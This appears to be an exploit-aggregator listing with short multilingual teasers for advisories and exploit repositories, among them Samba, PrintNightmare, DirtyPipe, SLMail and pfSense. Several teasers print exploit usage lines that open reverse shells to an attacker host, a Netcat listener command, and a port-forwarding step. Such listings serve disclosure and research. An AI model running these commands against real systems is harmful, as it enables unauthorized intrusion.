CVE-2026-81833

Roo-Code (RooCodeInc) up to version 3.51.1 is affected by a code injection vulnerability in the optimizeQuery function within src/utils/helpers.ts of the CodeIndexManager component. Manipulation of this function allows remote code injection with low impact on confidentiality, integrity, and avail...

EUVD-2026-67228

A security flaw has been discovered in RooCodeInc Roo-Code up to 3.51.1. Affected by this vulnerability is the function optimizeQuery of the file src/utils/helpers.ts of the component CodeIndexManager. Performing a manipulation results in code injection. Remote exploitation of the attack is...

DLHell

DLHell DLHell führt lokales und entferntes Windows-DLL-Proxying über DCOM aus. Install Die folgenden Pakete werden benötigt kann von deiner Distribution abhängen, das folgende Beispiel ist für Debian 12: root@kitploit: sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64...

CVE-2022-39802

3242933 – CVE-2022-39802 Vulnerabilità di path traversal nei file in SAP Manufacturing Execution Informazioni generali Rischio: CRITICO Versioni Affette: root@kitploit: SAP MFG EXECUTION CORE 15.1 SAP MFG EXECUTION CORE 15.2 SAP MFG EXECUTION CORE 15.3 URL del fornitore: https://sap.com Bug:...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 Exploit CVE-2007-2447 root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target Crea un listener Netcat root@kitploit: nc -nlvp 4444 Esegui lo script root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

CVE-2025-41646

CVE-2025-41646 - RevPi Webstatus = 2.4.5 Exploit de Bypass de Autenticação Visão Geral Este é um script de exploit em Python3 para CVE-2025-41646 , uma vulnerabilidade de Bypass de Autenticação que afeta RevPi Webstatus = 2.4.5. Detalhes da Vulnerabilidade: ID CVE : CVE-2025-41646 Produto Afetado...

CVE-2023-27997-POC

Usage: python3 cve-2022-42475.py rhost rport lhost lport Esempio: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 Disclaimer: Questo progetto è realizzato solo a scopo educativo e di test etico. L'utilizzo di questo strumento per attaccare bersagli senza previo consenso reciproco è...

CVE-2003-0264

SLMail 5.5 POP3 PASS Parameter Buffer Overflow Versione del programma: SLMail 5.5 Vulnerabilità: overflow del buffer nel parametro PASS del servizio POP3 porta 110 di Seattle Lab Mail SLMail 5.5 Testato su: Windows 7 x86 Sfruttamento: overflow del buffer remoto Video PoC:...

Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914

Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914 Exploit di Escalation dei Privilegi di Azure Networking CVE‑2025‑54914 4 settembre 2025 Di Mark Mallia 1. Sintesi Esecutiva Il 4 settembre 2025, i servizi Azure Networking di Microsoft hanno ricevuto un advisory di sicurezza critico che...

CVE-2019-9766

CVE-2019-9766 Farei o meu melhor Sobre o CVE Free MP3 CD Ripper É um conversor entre arquivos .mp3 e outros tipos de arquivo convertendo um arquivo. Bug De acordo com o NVD, podemos ver que, na vision 2.6, há um Stack-based Overflow na Área de Buffer. Então podemos criar um Poc para isso. O tipo ...

CVE-2025-5548

CVE-2025-5548 Sicherheitsforschung und technische Analyse von CVE-2025-5548, einer Pufferüberlauf-Schwachstelle, die FreeFloat FTP Server 1.0 betrifft. Dieses Repository dokumentiert das Verhalten der Schwachstelle, die Angriffsflächenanalyse, kontrollierte Proof-of-Concept-Tests sowie defensive...

CVE-2026-81573 Improper Access Control in Local-Only Configuration Commands

If CodeMeter Runtime before 8.41a or 9.10 is configured as a server, the configuration command handler does not enforce network- origin restrictions. Commands intended only for local or same-network clients can therefore be executed by arbitrary remote peers. An attacker can read potentially...

CVE-2026-81573

CodeMeter Runtime versions before 8.41a or 9.10 are affected when configured as a server. The configuration command handler fails to enforce network-origin restrictions, allowing arbitrary remote peers to execute commands intended only for local or same-network clients. This enables reading sensi...

MKdocs 1.2.2 - Directory Traversal

The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability see references because the dev server must be used in an unsafe way namely public to have this...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2022-0847-DirtyPipe-Exploit

Une vulnérabilité a été trouvée dans le noyau Linux jusqu'aux versions 5.10.101/5.15.24/5.16.10 système d'exploitation et classée comme critique. Ce problème affecte un traitement inconnu du composant Pipe Handler. La confidentialité, l'intégrité et la disponibilité sont impactées. La faiblesse a...

CVE-2026-81486

A vulnerability was detected in bsmi021 mcp-file-context-server 1.0.0. Affected by this issue is the function readcontext of the file src/index.ts of the component Path Resolution. Performing a manipulation of the argument path results in path traversal. It is possible to initiate the attack...

EUVD-2026-66833

A vulnerability was detected in bsmi021 mcp-file-context-server 1.0.0. Affected by this issue is the function readcontext of the file src/index.ts of the component Path Resolution. Performing a manipulation of the argument path results in path traversal. It is possible to initiate the attack...

CVE-2021-1675

CVE-2021-1675 https://github.com/sailay1996/PrintNightmare-LPE से संशोधित, दूरस्थ कॉल का समर्थन करता है। 1. PrintNightmareLPE.exe और vlib.dll को दूरस्थ सर्वर पर अपलोड करें, फिर PrintNightmareLPE.exe चलाएँ। 2. स्थानीय मशीन पर पोर्ट फ़ॉरवर्डिंग करें netsh interface portproxy add v4tov4...

PT-2026-82799

Xiiaozet LK100W exposes a critical management function that can be invoked without authentication, allowing a remote attacker to enable administrative services that should be restricted. Successful exploitation may permit unauthorized access to the device...